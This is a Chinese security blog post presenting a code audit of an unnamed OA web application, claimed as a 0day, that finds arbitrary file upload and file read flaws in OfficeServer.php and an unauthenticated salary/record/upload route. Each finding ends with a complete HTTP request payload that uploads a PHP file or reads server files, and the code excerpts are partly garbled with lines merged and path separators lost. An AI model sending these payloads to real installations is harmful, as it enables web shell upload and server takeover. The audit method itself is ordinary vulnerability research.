某OA代码审计(0day)

admin 2024年1月4日12:59:39评论64 views字数 5050阅读16分50秒阅读模式

0x01    前言

    首先祝各位元旦快乐,在新的一年里,各位能够身体健康,心想事成,梦想成真,技术和事业蒸蒸日上!

    再次感谢up师带我审计和提供相关思路,本文涉及框架者也是初学所以有不好之处见谅。经过本人同意本篇文章禁止转发


0x02    审计过程   

一、熟悉框架

    首先要看入门文件定位整个网站的的路由,从而在后面观看代码找到漏洞。那么就要先看框架的开发手册。从而也能确认是mvc三层模型。最后system目录是确定总控制目录,modules目录下为模块功能。

某OA代码审计(0day)

二、文件上传+文件读取

1、文件上传

    文件上传漏洞,在php中一般都是看move_uploaded_file这个函数。全局搜索之后定位到officeserver这个文件

某OA代码审计(0day)

    然后观看代码,这里有几个重要的点需要讲解。

1、json_decode()函数,用post请求json格式来访问,并且将获取的 JSON 字符串解析为 PHP 数组。将单引号替换成双引号以免json格式出错

2、$_SERVER["DOCUMENT_ROOT"] 是服务器文档根目录的路径,它表示网站根目录在服务器文件系统中的位置,$de_json->FILEPATH 是从传递的 JSON 数据中提取的文件路径赋值给FILEPATH参数

3、在获取操作命令信息,该信息应该在传递的 JSON 数据中的 "OPTION" 字段中

$FormData = $_REQUEST["FormData"];//获取传过来的json值$de_json = json_decode(str_replace("'", '"', $FormData));//解析json为数组$mFilePath = $_SERVER["DOCUMENT_ROOT"] . $de_json->FILEPATH;//要打开的目录和文件名称$mOption = $de_json->OPTION;

    用switch来判断接收的OPTION是否为空,如果等于SAVEFILE,则获取一个name=FileData的文件进行上传。

某OA代码审计(0day)

    那么payload构造则是

POST /static/lib/weboffice/js/OfficeServer.php HTTP/1.1Host: xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
------------398jnjVTTlDVXHlE7yYnfwBoixContent-Disposition: form-data; name="FormData"
{"OPTION":"SAVEFILE","FILEPATH":"/1.php"}------------398jnjVTTlDVXHlE7yYnfwBoixContent-Disposition: form-data; name="FileData"; filename="1.php"Content-Type: image/jpg

<?php echo md5(1);?>------------398jnjVTTlDVXHlE7yYnfwBoix

某OA代码审计(0day)

某OA代码审计(0day)

二、文件读取

    在看刚刚的文件中,switch中的第一个case

1、先用file_exists这个函数判断文件是否存在,然后再将文件的内容返回到result这个参数中

2、进入到if循环中,用fopen函数将文件以只读二进制模式,用filesize函数获取文件大小,用fread函数获取文件内容,设置响应包的头部信息,再将文件的内容进行echo输出出来

某OA代码审计(0day)

    payload:

POST /static/lib/weboffice/js/OfficeServer.php HTTP/1.1Host: xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
------------398jnjVTTlDVXHlE7yYnfwBoixContent-Disposition: form-data; name="FormData"
{"OPTION":"LOADFILE","FILEPATH":"12.php"}------------398jnjVTTlDVXHlE7yYnfwBoix

某OA代码审计(0day)

三、文件上传

    全局搜索move_uploaded_file函数,定位到两个文件并且为extend扩展目录下的文件

某OA代码审计(0day)

    路由为systemmodulesmainextend,该文件是处理文件上传的逻辑

某OA代码审计(0day)

    之后定位到saveFile方法中,大概逻辑为

1、接收两个参数,fileObj和可选参数configfileObj表示上传文件的对象(应该是 yiiwebUploadedFile 类型)

public static function saveFile($fileObj, $config = []

2、首先检查fileObj是否在yiiwebUploadedFile实例中,如果不是返回false,主要是定义了几个上传的参数,name、tempName,type,size

if(!($fileObj instanceof yiiwebUplocadedFile)){            return false;}

某OA代码审计(0day)

3、将fileObj储存在类的静态属性$fileObj

4、获取上传文件的扩展名,并将其存储在类的静态属性 $ext

5、但是他这里并没有判断上传文件的扩展名,所以导致该漏洞的上传

self::$fileObj = $fileObj;
//文件扩展名 self::$ext = $fileObj->getExtension();
/*if (!in_array(strtolower(self::$ext), ['jpg', 'jpeg', 'png', 'gif'])) { return false; }*/
//生成文件名称 if(!self::generateFileName($config)){ return false; }

6、最后用saveAs方法保存文件

if(!$fileObj->saveAs(self::$absolutePath)){            return false;        }

某OA代码审计(0day)

   在观看saveAs方法,他是一个静态声明的,用于保存上传的文件。并且也是我上面搜索出调用move_uploaded_file函数的方法

1、接收三个参数:分别表示,上传文件的临时路径,保存文件的路径,控制是否在保存文件后删除临时文件默认为True

2、如果$deleteTempFile参数为True,直接调用move_uploaded_file函数来进行上传

3、否则$deleteTempFilefalse$tempName 是一个上传的文件,那么使用 copy 函数复制文件到新的路径。这是另一种处理方式,不删除原始的上传文件。

某OA代码审计(0day)

    判断出只要调用这个文件就会有文件上传漏洞,那么我们就观看那个文件调用这个systemmodulesmainextend,那么就直接定位到system/modules/salary/controllers/RecordController.php这个路由文件。这里要优先寻找Controllers目录下的文件,mvc框架都是controllers为控制器,处理用户输入和相应的逻辑业务。

某OA代码审计(0day)

    再来详细讲讲这里的代码,yii框架的一些特征

1、这段代码指定了在执行某些操作时,哪些其他操作应该被忽略或不考虑其依赖关系

2、简单来说就是salary/record/batch-import被操作时,他不受salary/record/index、salary/record/add、salary/record/edit这三个操作的影响。简单来说就是我这三个路由可能会被鉴权,但是我这个salary/record/batch-import路由操作是不会被鉴权。

3、那么salary/record/upload这个操作也是按照上面的意思,不会被salary/record/add、salary/record/edit、salary/record/batch-import这三个操作所影响

public $dependIgnoreList = [        'salary/record/batch-import' => [            'salary/record/index',            'salary/record/add',            'salary/record/edit',        ],        'salary/record/upload' => [            //'salary/record/batch-import',            'salary/record/add',            'salary/record/edit',        ],    ];
下面这串代码
    下面则为yii的actions控制器

1、'upload' => [...]: 这表示你正在定义一个名为 upload 的动作。这个名称可以在用户访问控制器时使用,比如在 URL 中调用该动作

2、'class' => systemmodulesmainextendUpload::className(),: 这行代码指定了用于处理上传的类,即 systemmodulesmainextendUpload 类。

3、'dir' => 'contacts/template/import',: 这行代码指定了上传文件保存的目录。在这里,文件将被保存到 contacts/template/import 目录中

public function actions(){    return [        'upload' => [            'class' => systemmodulesmainextendUpload::className(),            'dir' => 'contacts/template/import',        ],    ];}

    之后再来定位到upload类中

某OA代码审计(0day)

    再upload类中,就发现调用我上面所找的saveFile方法

某OA代码审计(0day)

    总结思路:

1、首先寻找move_uploaded_file函数调用的地方,判断文件为上传文件的逻辑处理代码,发现没有文件拓展名限制。

2、之后搜索system/modules/main/extend被谁调用,发现文件重新定义upload的动作,调用system/modules/main/extend/upload的类

3、之后再upload类中,发现又调用saveFile方法。

    至此payload:

POST /index.php/salary/record/upload HTTP/1.1Host: xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
------------398jnjVTTlDVXHlE7yYnfwBoixContent-Disposition: form-data; name="file"; filename="1.php"Content-Type: image/jpg
<?php echo md5(1)?>------------398jnjVTTlDVXHlE7yYnfwBoix

某OA代码审计(0day)

    证明:

某OA代码审计(0day)

0x03    结尾

    感谢看到这里的师傅们,本人新手一个所以审计过程有些粗糙,请见谅。那么再次祝看到这篇文章的师傅们,元旦快乐!新的一年里,技术事业双提升,一眼出洞,分分钟霸榜各src!


原文始发于微信公众号(实战安全研究):某OA代码审计(0day)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月4日12:59:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某OA代码审计(0day)http://cn-sec.com/archives/2363263.html

发表评论

匿名网友 填写信息